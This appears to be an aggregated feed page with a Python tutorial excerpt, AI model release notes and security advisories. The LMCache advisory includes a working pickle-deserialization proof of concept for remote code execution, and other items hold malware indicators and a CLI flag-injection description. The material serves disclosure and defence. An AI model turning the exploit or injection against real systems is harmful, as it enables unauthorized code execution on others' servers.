Python is an interpreted language. Because of that, Python programs are commonly called scripts. However, this terminology isn’t completely accurate because Python programs can be way more complex than a simple, sequential script.

In general, a file containing executable Python code is called a script—or an entry-point script in more complex applications—which is a common term for a top-level program. On the other hand, a file containing Python code that’s designed to be imported and used from another Python file is called a module.

So, the main difference between a module and a script is that modules store importable code while scripts hold executable code.


Note: Importable code is code that defines something but doesn’t perform a specific action. Some examples include function and class definitions. In contrast, executable code is code that performs specific actions. Some examples include function calls, loops, and conditionals.


In the following sections, you’ll learn how to run Python scripts, programs, and code in general. To kick things off, you’ll start by learning how to run them from your operating system’s command line or terminal.

How to Run Python Scripts From the Command Line

In Python programming, you’ll write programs in plain text files. By convention, files containing Python code use the .py extension, and there’s no distinction between scripts or executable programs and modules. All of them will use the same extension.


Note: On Windows systems, the extension can also be .pyw for those applications that should use the pythonw.exe launcher.


To create a Python script, you can use any Python-friendly code editor or IDE (integrated development environment). To keep moving forward in this tutorial, you’ll need to create a basic script, so fire up your favorite text editor and create a new hello.py file containing the following code:


  
    Language: Python
    Filename: hello.py
    
      
    
  
  
    print("Hello, World!")


    
    
    
  

This is the classic "Hello, World!" program in Python. The executable code consists of a call to the built-in print() function that displays the "Hello, World!" message on your screen.

With this small program in place, you’re ready to learn different ways to run it. You’ll start by running the program from your command line, which is arguably the most commonly used approach to running scripts.

Using the python Command

To run Python scripts with the python command, you need to open a command-line window and type in the word python followed by the path to your target script:

	
    Windows
  
	
    Linux + macOS
  


Read the full article at https://realpython.com/run-python-scripts/ »

[ Improve Your Python With Python Tricks – Get a short & sweet Python Trick delivered to your inbox every couple of days. >> Click here to learn more and see examples ]

Read it at the source



New Models


New model: DeepSeek: DeepSeek V4.1 Flash 1017

OpenRouter · Oct 17, 8:27 AM UTC

DeepSeek V4.1 Flash 1017 is the October 17, 2026 snapshot of DeepSeek V4.1 Flash, served by DeepSeek under the `deepseek-flash` API model name. V4.1 Flash is a sparse mixture-of-experts model...

Read it at the source



New model: Elorian: Glimpse

OpenRouter · Oct 17, 3:10 AM UTC

Glimpse is a multimodal visual reasoning model from Elorian, built for visual understanding and complex visual reasoning in the physical world. It reasons directly over images and video rather than...

Read it at the source



Open model: deepseek-ai/DeepSeek-V4.1-Flash-1017

Hugging Face Hub · Oct 17, 2:40 AM UTC

Trending on the Hugging Face Hub. Image text to text · License: mit · 513 likes.

Read it at the source



New model: Qwen: Qwen Image 2.1 Turbo

OpenRouter · Oct 16, 11:41 PM UTC

Qwen Image 2.1 Turbo is the fast, lower-cost tier of the Qwen Image 2.1 series from Qwen, for image generation and editing where throughput and price matter more than peak...

Read it at the source



New model: Qwen: Qwen Image 2.1 Pro

OpenRouter · Oct 16, 11:41 PM UTC

Qwen Image 2.1 Pro is an image generation and editing model from Qwen, the higher-quality tier of the Qwen Image 2.1 series. Choose it over Qwen Image 2.1 Turbo when...

Read it at the source



New model: Perplexity: Decider Flash V1.2

OpenRouter · Oct 16, 8:44 PM UTC

Decider Flash V1.2 is a 4B-parameter decision model from Perplexity, a smaller, lower-cost sibling of [Decider V1.2](/perplexity/pplx-decider-v1.2) with the same API contract. Instead of generating text, it reads content passed...

Read it at the source



New model: Perplexity: Decider V1.2

OpenRouter · Oct 16, 8:44 PM UTC

Decider V1.2 is a new 27B checkpoint of Perplexity's decision model, succeeding [Decider V1.1 27B](/perplexity/pplx-decider-v1.1-27b) with the same API contract. Instead of generating text, it reads content passed as `state`...

Read it at the source



Open model: nvidia/NVIDIA-Nemotron-Labs-Dory1.0-4B-NVFP4

NVIDIA · Oct 16, 6:30 PM UTC

New open weights from NVIDIA on the Hugging Face Hub. Text generation · License: other.

Read it at the source



Open model: nvidia/NVIDIA-Nemotron-Labs-Dory1.0-4B-BF16

NVIDIA · Oct 16, 6:25 PM UTC

New open weights from NVIDIA on the Hugging Face Hub. Text generation · License: other.

Read it at the source



New model: Perplexity: Decider Flash Latest

OpenRouter · Oct 16, 6:03 PM UTC

This model always redirects to the latest model in the Decider Flash family.

The full piece, at the source



Open model: tencent/Qwen3-8B-DSpine-b16

Tencent Hunyuan · Oct 16, 2:52 PM UTC

New open weights from Tencent Hunyuan on the Hugging Face Hub. License: apache-2.0.

Read it at the source



New model: Reflection: Beam 1.0 501B A23B

OpenRouter · Oct 16, 2:21 PM UTC

Beam 1.0 is Reflection's open-weight reasoning model for coding and long-horizon agentic workflows. It uses a sparse mixture-of-experts architecture with 501B total and 23B active parameters per token, and a...

Read it at the source



Open model: microsoft/scFM-dataselection

Microsoft · Oct 16, 1:54 PM UTC

New open weights from Microsoft on the Hugging Face Hub. License: mit.

The full piece, at the source



Security Desk


RUSTSEC-2026-0365: Vulnerability in negentropy

RustSec advisories · Oct 17, 12:00 PM UTC


          History ⋅
          Edit ⋅
          JSON (OSV)
        
        
        RUSTSEC-2026-0365
        
      
Remote DoS through unchecked IdList allocation in negentropy

Reported
      
        
          October 14, 2026
        
      

      
Issued
      
        
          October 17, 2026
        
        
      

      
Package
      
        
        
        
negentropy

           
          (
crates.io
)
          
        
        
      

      
Type
      
        
        Vulnerability
        
      

      
      
Categories
      
        
	denial-of-service

Keywords
      
        
          
#allocation
#memory-exhaustion
#remote
References
      
        
	
            
              https://github.com/nostrdevkit/negentropy/pull/14
            
          
	
            
              https://github.com/nostrdevkit/negentropy/commit/40f7290cbc5755a5ba3190279fbc848a97866280
            
          
	
            
              https://github.com/nostrdevkit/negentropy/commit/894a32c0ab9f3efd750b3cf06caee27b3f9c3f12
            
          

CVSS Score
      7.5 

        HIGH
      CVSS Details
      
        
          
            Attack Vector
            Network
          
            Attack Complexity
            Low
          
            Privileges Required
            None
          
            User Interaction
            None
          
            Scope
            Unchanged
          
            Confidentiality Impact
            None
          
            Integrity Impact
            None
          
            Availability Impact
            High
          
        
      

      
CVSS Vector

      
          
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Patched
      
        
        
	>=0.4.4, <0.5.0
	>=0.5.2

Unaffected
      
        
	<0.2.0

Description
Summary
The negentropy crate is vulnerable to denial-of-service through an unchecked, peer-controlled ID count in reconciliation messages.
With the std feature enabled, which is the default configuration, a small malformed message can trigger an enormous memory allocation and terminate the application.
Details
When processing an IdList range, the reconciliation parser uses the peer-provided ID count to reserve memory before checking whether the message contains the corresponding IDs:
let mut their_elems: HashSet<Id> =
    HashSet::with_capacity(num_ids as usize);

An attacker can declare an arbitrarily large count without supplying any IDs. The allocation occurs before the parser reaches the ID-reading loop, which would otherwise reject the truncated message.
With Rust's default allocation-error behavior, a failed allocation aborts the process rather than unwinding. Consequently, catch_unwind cannot contain the failure.
Both reconcile and reconcile_with_ids reach the vulnerable parser.
The patched versions validate the count against the remaining message length before allocating:
if num_ids > (query.len() / ID_SIZE) as u64 {
    return Err(Error::ParseEndsPrematurely);
}

Impact
An unauthenticated remote attacker can terminate an application that exposes reconciliation to untrusted peers without additional validation.
For example, a Nostr relay that forwards NEG-OPEN or NEG-MSG reconciliation payloads to the vulnerable parser can be taken down by a single client message. Clients processing messages from malicious relays are also exposed.
This specific vulnerability affects builds with the default std feature enabled. Builds without std use a BTreeSet and do not perform the vulnerable preallocation.
A message-size limit alone does not prevent exploitation because the malicious payload can be only a few bytes long.
Credit
Discovered and fixed by Alex Gleason (https://github.com/alexgleason).
Advisory available under CC0-1.0
    license.

    
    

Read it at the source



RUSTSEC-2026-0366: Vulnerability in pest_grammars

RustSec advisories · Oct 17, 12:00 PM UTC


          History ⋅
          Edit ⋅
          JSON (OSV)
        
        
        RUSTSEC-2026-0366
        
      
Stack overflow when parsing deeply nested input in pest_grammars

Reported
      
        
          October 16, 2026
        
      

      
Issued
      
        
          October 17, 2026
        
        
      

      
Package
      
        
        
        
pest_grammars

           
          (
crates.io
)
          
        
        
      

      
Type
      
        
        Vulnerability
        
      

      
      
Categories
      
        
	denial-of-service

Keywords
      
        
          
#pest_grammars
#pest
#stack
#overflow
Aliases
      
        
	
            
            GHSA-7632-4q2x-hvjw
            
          

References
      
        
	
            
              https://github.com/pest-parser/pest/pull/1212
            
          

CVSS Score
      3.3 

        LOW
      CVSS Details
      
        
          
            Attack Vector
            Local
          
            Attack Complexity
            Low
          
            Privileges Required
            Low
          
            User Interaction
            None
          
            Scope
            Unchanged
          
            Confidentiality Impact
            None
          
            Integrity Impact
            None
          
            Availability Impact
            Low
          
        
      

      
CVSS Vector

      
          
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Patched
      
        
        
	>=2.9.3


        
      

      

      
      

      
      
    

    
    
    
      Affected Functions
      Version
      
      
pest_grammars::json::JsonParser::parse
	<2.9.3

Description
Impact
In affected versions, parsing deeply nested input with pest_grammars::json::JsonParser can exhaust the native stack and abort the hosting process. Applications that accept attacker-controlled JSON without suitable resource limits may therefore be vulnerable to denial of service.
The reported reproduction demonstrates this behavior with deeply nested JSON arrays. The nesting required to trigger an overflow depends on the platform, available stack space, and build configuration; there is no portable safe nesting threshold.
Patches
Upgrade to pest_grammars 2.9.3 or later.
Version 2.9.3 requires the updated pest runtime and includes regression tests for deeply nested JSON with the optional call budget disabled. Supported std builds automatically check available native stack headroom at parser checkpoints and return a handled stack limit reached error when insufficient space is detected. This protection operates independently of pest::set_call_limit(). See the 2.9.3 dependencies and deep-nesting regression tests.
These checks are best-effort. They do not provide universal stack-overflow protection, apply when stack bounds cannot be determined, or provide native-stack protection in no_std builds.
Workarounds and defense in depth
Applications unable to upgrade should reject excessive nesting before invoking the affected parser or configure a suitably conservative pest::set_call_limit() budget. A call budget is not a portable stack-depth guarantee.
Even after upgrading, applications parsing untrusted input should enforce workload-appropriate input, work, memory, and concurrency limits. Stack checks and call budgets do not enforce elapsed-time deadlines. Where a hard deadline or cancellation is required, use supervised parsing as described in the security policy: Parsing Untrusted Input.
Advisory available under CC0-1.0
    license.

    
    

Read it at the source



RUSTSEC-2026-0369: Vulnerability in zip

RustSec advisories · Oct 17, 12:00 PM UTC


          History ⋅
          Edit ⋅
          JSON (OSV)
        
        
        RUSTSEC-2026-0369
        
      
ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the target

Reported
      
        
          October 10, 2026
        
      

      
Issued
      
        
          October 17, 2026
        
        
      

      
Package
      
        
        
        
zip

           
          (
crates.io
)
          
        
        
      

      
Type
      
        
        Vulnerability
        
      

      
      
Categories
      
        
	privilege-escalation

Keywords
      
        
          
#privilege-escalation
#symlink
#permissions
Aliases
      
        
	
            
            GHSA-4684-h2q9-2vcp
            
          

CVSS Score
      9.1 

        CRITICAL
      CVSS Details
      
        
          
            Attack Vector
            Network
          
            Attack Complexity
            Low
          
            Privileges Required
            None
          
            User Interaction
            None
          
            Scope
            Unchanged
          
            Confidentiality Impact
            None
          
            Integrity Impact
            High
          
            Availability Impact
            High
          
        
      

      
CVSS Vector

      
          
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Patched
      
        
        
	>=9.0.0

Description
ZipStreamReader::extract() applies Unix permissions through extracted symlinks without validating the symlink target stays within the destination
For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-4684-h2q9-2vcp
Advisory available under CC0-1.0
    license.

    
    

Read it at the source



RUSTSEC-2026-0367: Vulnerability in zip

RustSec advisories · Oct 17, 12:00 PM UTC


          History ⋅
          Edit ⋅
          JSON (OSV)
        
        
        RUSTSEC-2026-0367
        
      
Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation

Reported
      
        
          October  9, 2026
        
      

      
Issued
      
        
          October 17, 2026
        
        
      

      
Package
      
        
        
        
zip

           
          (
crates.io
)
          
        
        
      

      
Type
      
        
        Vulnerability
        
      

      
      
Categories
      
        
	privilege-escalation

Keywords
      
        
          
#privilege-escalation
#suid
#sgid
Aliases
      
        
	
            
            GHSA-vv5m-jxxh-4627
            
          

CVSS Score
      7.3 

        HIGH
      CVSS Details
      
        
          
            Attack Vector
            Local
          
            Attack Complexity
            Low
          
            Privileges Required
            Low
          
            User Interaction
            Required
          
            Scope
            Unchanged
          
            Confidentiality Impact
            High
          
            Integrity Impact
            High
          
            Availability Impact
            High
          
        
      

      
CVSS Vector

      
          
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Patched
      
        
        
	>=9.0.0

Description
The zip crate preserves privileged Unix permission bits (SUID, SGID, and sticky bits) from ZIP external_attributes during extraction, instead of masking them to safe permission bits. If a privileged process (for example, root in an installer, CI/CD pipeline, or container build) extracts an attacker-controlled ZIP archive using ZipArchive::extract() or the stream extraction API, files can be created as setuid-root or setgid. This behavior allows the creation of SUID/SGID files during extraction, which can lead to local privilege escalation depending on the execution environment.
For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-vv5m-jxxh-4627
Advisory available under CC0-1.0
    license.

    
    

Read it at the source



RUSTSEC-2026-0368: Vulnerability in zip

RustSec advisories · Oct 17, 12:00 PM UTC


          History ⋅
          Edit ⋅
          JSON (OSV)
        
        
        RUSTSEC-2026-0368
        
      
zip: ZipArchive::extract creates symbolic links whose attacker-controlled targets are outside the destination directory

Reported
      
        
          October  9, 2026
        
      

      
Issued
      
        
          October 17, 2026
        
        
      

      
Package
      
        
        
        
zip

           
          (
crates.io
)
          
        
        
      

      
Type
      
        
        Vulnerability
        
      

      
      
Categories
      
        
	privilege-escalation

Keywords
      
        
          
#privilege-escalation
#symlink
Aliases
      
        
	
            
            GHSA-4v9h-p7m9-rh26
            
          

Patched
      
        
        
	>=9.0.0

Description
In zip 9.0.0-pre2, ZipArchive::extract creates a symbolic link from an archive entry after validating only the output entry path. The link target bytes are passed directly to the platform symlink API, so a malicious archive can create an entry inside the destination that resolves to an attacker-chosen path outside it. This behavior was verified on macOS and Linux. On either platform, a subsequent application read or write through that extracted entry accesses the external target with the extracting process's permissions.
For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-4v9h-p7m9-rh26
Advisory available under CC0-1.0
    license.

    
    

Read it at the source



PSA: Malware Found in Some Rank Math SEO PRO 3.0.123 Downloads

Wordfence · Oct 17, 3:41 AM UTC

Rank Math has disclosed that some copies of Rank Math SEO PRO version 3.0.123 contained malware. According to Rank Math, the affected version was downloaded or installed through an update between October 15, 2026 at 20:02 UTC and October 16, 2026 at 07:12 UTC.
If an affected copy of Rank Math SEO PRO 3.0.123 was active on your website, you should treat the website as compromised. Simply updating the plugin is not enough because the malware may have placed additional files, administrator accounts, or scheduled tasks elsewhere on the server.
Rank Math removed the affected files and released version 3.0.124 as the clean replacement. Version 3.0.123 by itself does not prove that a website was compromised: Rank Math limits the incident to users who downloaded or updated to the affected version during the stated period.
Website owners should check when version 3.0.123 was downloaded or installed, follow the recovery guidance below, and use Rank Math’s security notice as the authoritative source for updates about this incident.
Vulnerability Summary from Wordfence Intelligence

	
		Rank Math SEO PRO 3.0.123 - Unauthenticated Embedded Malicious Code

				9.8
			
	
		
							
					CVSS Rating

					9.8 (Critical)
				
			
							
					CVE-ID

					
													CVE-2026-111862											
				
			
							
					Affected Version(s)

											3.0.123
									
			
							
					Patched Version

					3.0.124
				
			
			
					

		
									
				Affected Software

				Rank Math SEO PRO [seo-by-rank-math-pro]			
			
			
									Researcher(s): Unknown
							
		
				
			Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and October 16, 2026 at 07:12 UTC. Rank Math states that the affected plugin files contained malware that could compromise a website if the plugin was activated and directs sites that activated an affected package to treat the website as compromised. The malware may establish persistent access, communicate with rank1cdn[.]com, recreate hidden backdoors on page visits, and expose WordPress credentials, database credentials, API keys, and other secrets accessible to the web server. Rank Math identifies three malicious wp_options keys, hidden PHP backdoors, unauthorized administrator accounts, a fake WordPress core file, PHP-executable .cache files, and a system cron marker as incident indicators. Only packages obtained during the vendor-confirmed window are claimed as affected; version 3.0.123 alone is not sufficient to establish compromise. Rank Math removed the affected files and released version 3.0.124 as the clean replacement.		
			
	
		More Details >
	
Who Is Affected?
Your website may be affected if it downloaded or updated to Rank Math SEO PRO 3.0.123 during the following period:
	Start: October 15, 2026 at 20:02 UTC
	End: October 16, 2026 at 07:12 UTC

Rank Math provides the following guidance:
	If you installed and activated an affected copy of version 3.0.123, treat the website as compromised and complete a full recovery.
	If you installed version 3.0.123 but never activated it, delete the affected plugin files, install version 3.0.124 from your Rank Math account, and run a security scan.
	If you downloaded version 3.0.123 but never installed or activated it, Rank Math says there is no indication from this incident alone that your website was compromised.

Rank Math says it has records identifying users who downloaded an affected copy. If Rank Math notified you, follow its recovery instructions even if your website is now running a different version.
What Website Owners Should Do Now
If an affected copy was activated, Rank Math recommends restoring the website and its database from a clean backup created before October 15, 2026 at 20:02 UTC. After restoring the backup, scan the website, replace passwords and other sensitive credentials that the website could access, and then install Rank Math SEO PRO 3.0.124 directly from your Rank Math account.
If a suitable backup is not available, Rank Math advises having the website cleaned manually. This work should be performed by an experienced security professional or hosting provider if you are not comfortable working with website files, the database, and server settings.
Before removing other suspicious files, complete the following steps to prevent the malware from recreating its hidden backdoor when someone visits the website:
	Delete the entire rank-math-pro plugin folder. Deactivating the plugin is not enough.
	Delete any entry in the WordPress wp_options database table whose option_name is _uf6qdn2hmm, t8krdk990phb, or _np5pvf754c.
	Block outgoing connections to rank1cdn[.]com if your hosting provider or firewall supports it.

Once the mechanism that recreates the malware has been disabled, check the rest of the website and server for the signs listed below. Reinstall WordPress, plugins, and themes from trusted sources where appropriate.
Changing passwords is essential even if the site is restored from a backup. Rank Math recommends replacing WordPress passwords, database credentials, WordPress security keys and salts, payment and email service credentials, API keys, hosting control-panel credentials, and FTP, SFTP, or SSH credentials that may have been accessible to the website. Review two-factor authentication settings for administrator accounts as well.
What the Malware Can Do
Rank Math states that the affected plugin files contained malware that could compromise a website when the plugin was activated. The company warns that the malware can recreate a hidden backdoor when the website is visited and that the attacker may have left additional files, unauthorized administrator accounts, scheduled tasks, or server-level changes behind.
Rank Math advises site owners to assume that credentials and secrets accessible to the compromised website may have been exposed. This includes WordPress passwords, database credentials, API keys, and other stored secrets. Updating to version 3.0.124 replaces the affected Rank Math package, but it does not remove files, accounts, or scheduled tasks that the malware may already have created elsewhere.
Indicators of Compromise
The following signs come from Rank Math’s security notice. Their presence should be investigated. Their absence does not, by itself, prove that a website is clean.
Network Activity
	Outgoing connections to rank1cdn[.]com

WordPress Database
	An entry in the wp_options table named _uf6qdn2hmm
	An entry in the wp_options table named t8krdk990phb
	An entry in the wp_options table named _np5pvf754c

Administrator Accounts
	Unknown administrator usernames beginning with wpsupport_
	Unknown accounts using an email address ending in @wp-mail[.]net

Files and Server Changes
	wp-includes/class-wp-cache-util.php. Rank Math states that this is not a legitimate WordPress core file.
	PHP files in unexpected locations, including wp-content/mu-plugins/, folders belonging to other plugins, the inc/, includes/, and lib/ folders of non-default themes, and the Rank Math includes/ folder.
	Suspicious PHP code containing base64_decode with XOR loops, the key xmmqhn, proc_open, or PHP-FPM socket code.
	Rules in a root or subdirectory .htaccess file that allow .cache files to run as PHP.
	.cache files containing PHP code.
	System scheduled tasks for the web server user containing the marker #ms6v46.
	Unexpected PHP files in the WordPress uploads directory.

Rank Math also recommends reviewing WordPress scheduled events, SSH authorized keys, scheduled tasks belonging to other system users, running processes, and locations outside the website directory where the web server can write files.
How to Verify the Website After Cleanup
After recovery, run a full security scan and continue watching the website for unusual behavior. Rank Math specifically recommends checking WordPress core files with:
wp core verify-checksums
Plugin files can be checked with:
wp plugin verify-checksums --all
Checksums are not available for every premium plugin, so compare those files with a clean copy downloaded directly from the developer. Monitor outgoing connections and confirm that removed files do not return. If suspicious files reappear, the cleanup is incomplete.
Download Rank Math SEO PRO 3.0.124 by navigating directly to rankmath.com and signing in to your account. Rank Math says it will not send login or download links by email, so treat unexpected messages containing those links as suspicious.
Timeline
	October 15, 2026 at 20:02 UTC: The affected download and update period began.
	October 16, 2026 at 07:12 UTC: The affected period ended.
	October 16, 2026: Rank Math published its security notice and directed affected users to install the clean version, 3.0.124, after completing the appropriate recovery steps.

Conclusion
Rank Math says this incident affected a limited number of users who downloaded or updated to Rank Math SEO PRO 3.0.123 during a specific period. Version 3.0.123 alone is not evidence that a website was compromised. However, any website on which an affected copy was active should be treated as compromised.
If your site may be affected, first establish when version 3.0.123 was obtained. If an affected copy was active, restore the website and database from a clean backup created before the incident whenever possible. If no suitable backup is available, follow Rank Math’s manual-cleanup steps in the stated order. In either case, replace exposed credentials and other secrets, install the clean version 3.0.124, scan the full website and server, and monitor for signs that the malware has returned.
Wordfence Care and Wordfence Response customers can contact our team for help investigating and cleaning a compromised website. Our incident response team can identify and remove malware, help determine the cause of an infection, and assist with the recovery process. Learn more about Wordfence Care and Wordfence Response.
The post PSA: Malware Found in Some Rank Math SEO PRO 3.0.123 Downloads appeared first on Wordfence.

Read it at the source



Re: FOLLOW-UP: taikotalent.xyz fake-recruiter trojan — RESOLVED (registrar clientHold 2026-10-10)

oss-security (Openwall) · Oct 17, 2:01 AM UTC

Posted by eddyflores100 on Oct 16 Alexander, Fair on both counts, and thank you for verifying the domain state yourself before responding - that is more diligence than the posting deserved in the shape it was sent. Two process corrections, both accepted: 1. Disclosure: the follow…

The full piece, at the source



CVE-2026-0307 GlobalProtect App: Local Privilege Escalation Vulnerabilities (Severity: MEDIUM)

Palo Alto Networks Security Advisories · Oct 17, 12:55 AM UTC


The full piece, at the source



ConnectWise (SkyKick) Vendor Credentials Abused in M365 Attacks

Huntress · Oct 16, 11:00 PM UTC

ConnectWise (SkyKick) vendor credentials are being abused to access Microsoft 365 tenants. Disable the apps now and check your logs here.

The full piece, at the source



Ransomware at Machine Speed: How GenAI Shrinks the Path after Initial Access

Zscaler ThreatLabz · Oct 16, 10:48 PM UTC

Artificial Intelligence technologies have made a huge impact on the security industry. But as with any public technology, adversaries have access to AI as well. They’re wasting no time incorporating AI into their malicious workflows and ransomware operators have been able to leve…

The full piece, at the source



Re: Proposal: Add separate oss-security-vulnerability-reports mailing list (for AI vulnpocalypse)

oss-security (Openwall) · Oct 16, 10:37 PM UTC

Posted by Solar Designer on Oct 16 Hi, Here's an update: We stayed in the range of 319 to 400 accepted messages per month for June through September. However, the number of subscribers started decreasing slightly - a few more people are leaving than are joining - and the chu…

The full piece, at the source



Text::CSV_XS versions before 1.65 for Perl (8 CVEs)

oss-security (Openwall) · Oct 16, 10:34 PM UTC

Posted by Stig Palmquist on Oct 16 CVE-2026-110752 Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment CVE-2026-110753 Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free o…

The full piece, at the source



Fwd: X.Org Security Advisory: multiple security issues in X.Org X client libraries

oss-security (Openwall) · Oct 16, 9:56 PM UTC

Posted by Alan Coopersmith on Oct 16 All five library releases are available now, see https://lists.x.org/archives/xorg-announce/2026-October/thread.html for links to their release announcements. -------- Forwarded Message -------- Subject: X.Org Security Advisory: multiple secur…

The full piece, at the source



CVE-2026-88771: Inside the Exploitation of a Critical NetScaler RCE Vulnerability

Zscaler ThreatLabz · Oct 16, 9:28 PM UTC

IntroductionOn September 27, 2026, Citrix disclosed&nbsp;CVE-2026-88771, a critical remote code execution (RCE) vulnerability affecting NetScaler Application Delivery Controller (ADC) and NetScaler Gateway. The vulnerability carries a CVSS v3.1 score of 9.8 according to&nbsp;NVD…

The full piece, at the source



Top Escape.tech alternatives for offensive security in 2026

Aikido Security · Oct 16, 8:47 PM UTC

We compare the top Escape.tech alternatives for offensive security in 2026: Aikido Security, XBOW, RunSybil, Terra, Burp Suite Professional, Invicti, StackHawk, Hadrian, and Pentera Category: DevSec Tools & Comparisons

The full piece, at the source



CISA Urges Patching Critical Vulnerability in BeyondTrust Remote Support

CISA · Oct 16, 8:38 PM UTC

CISA Urges Patching Critical Vulnerability in BeyondTrust Remote Support chayes Oct 16, 2026 Release Date October 16, 2026 Description CISA is aware of critical authentication bypass vulnerability CVE-2026-102764, affecting BeyondTrust Remote Support (formerly Bomgar) versions 26…

The full piece, at the source



Google security advisory (AV26-1060)

Canadian Centre for Cyber Security · Oct 16, 8:16 PM UTC


  
    

      
  
  
    

      
            Serial number: AV26-1060
Date: October 16, 2026


As of October 15, 2026, Google is affected by vulnerabilities in the following product:


	Chrome
		Versions prior to 155.0.8059.84/.85 (Windows/Mac) and 155.0.8059.84 (Linux)



The Cyber Centre encourages users and administrators to review the provided web link and apply any necessary updates as they become available.


	Chrome Releases: Stable Channel Update for Desktop


      
  
Read it at the source



Critical: LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport

GitHub Advisories (PyPI) · Oct 16, 8:08 PM UTC

Affects lmcache. CVE-2026-105192.
### Summary
LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport
### Details
LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.
Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.
The decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published.
### Proof of concept
Step 1 - Start multiprocess mode bound to a routable address
This is the documented multi-node setting. The ZMQ transport listens on port 5555.
``` python -m lmcache.v1.multiprocess.http_server \ --http-host 127.0.0.1 --http-port 8080 \ --host 0.0.0.0 --port 5555 \ --l1-size-gb 0.25 --eviction-policy LRU \ --hash-algorithm blake3 --instance-id mp-node-01 ``` Step 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle
Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn.
``` import os import pickle import msgspec import zmq
class EvilPayload: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (os.system, (self.cmd,))
evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1"))
REGISTER_KV_CACHE = 1 EXT_CODE = 1 NUM_PAYLOADS = 7 KVCACHE_INDEX = 1
b_uid = msgspec.msgpack.encode(0) b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE) payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS payloads[0] = msgspec.msgpack.encode(0) payloads[KVCACHE_INDEX] = msgspec.msgpack.encode( [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)] ) frames = [b_uid, b_type, *payloads] ``` Step 3 - Send the frame
``` ctx = zmq.Context() s = ctx.socket(zmq.DEALER) s.connect("tcp://127.0.0.1:5555") s.send_multipart(frames) ``` The pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.
Step 4 - Confirm the command ran as the LMCache user
``` cat /tmp/zmq_pwn ``` Expected output on an official image, where the process runs as root:
``` uid=0(root) gid=0(root) groups=0(root) ```
### Impact
LMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process.
By default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed.
Affected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and `dev` branch builds before PR #5644.
### Patches
Fixed in **0.5.6**. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered.
The wire format has changed: upgrade all workers and servers together.
0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685).
### Workarounds
Until you can upgrade:
- Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network. - Restrict access to the transport port (5555 by default) with firewall rules or network policies. - Run LMCache as a non-root user (build from the provided Dockerfile if needed).
If the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.

Read it at the source



Top Horizon3 alternatives in 2026

Aikido Security · Oct 16, 7:48 PM UTC

We compare the top Horizon3 alternatives for AI pentesting in 2026: Aikido Security, Pentera, RidgeBot, XBOW, Hadrian, RunSybil, and Terra Category: DevSec Tools & Comparisons

The full piece, at the source



Critical: Claude Agent SDK: Argument Injection via resume Option Allows Arbitrary Command Execution

GitHub Advisories (PyPI) · Oct 16, 7:44 PM UTC

Affects claude-agent-sdk. CVE-2026-96620.
The Claude Agent SDK for Python passed the `resume` option to the Claude CLI without validation, allowing a value beginning with `-` to be interpreted as a separate CLI flag. An attacker who controlled the `resume` value could inject an `--mcp-config` flag defining a stdio MCP server, resulting in arbitrary command execution at CLI startup that bypassed the SDK's permission controls. Exploitation required an application to pass untrusted input as the session ID to resume.
Users are advised to update to the latest version of the claude-agent-sdk package.
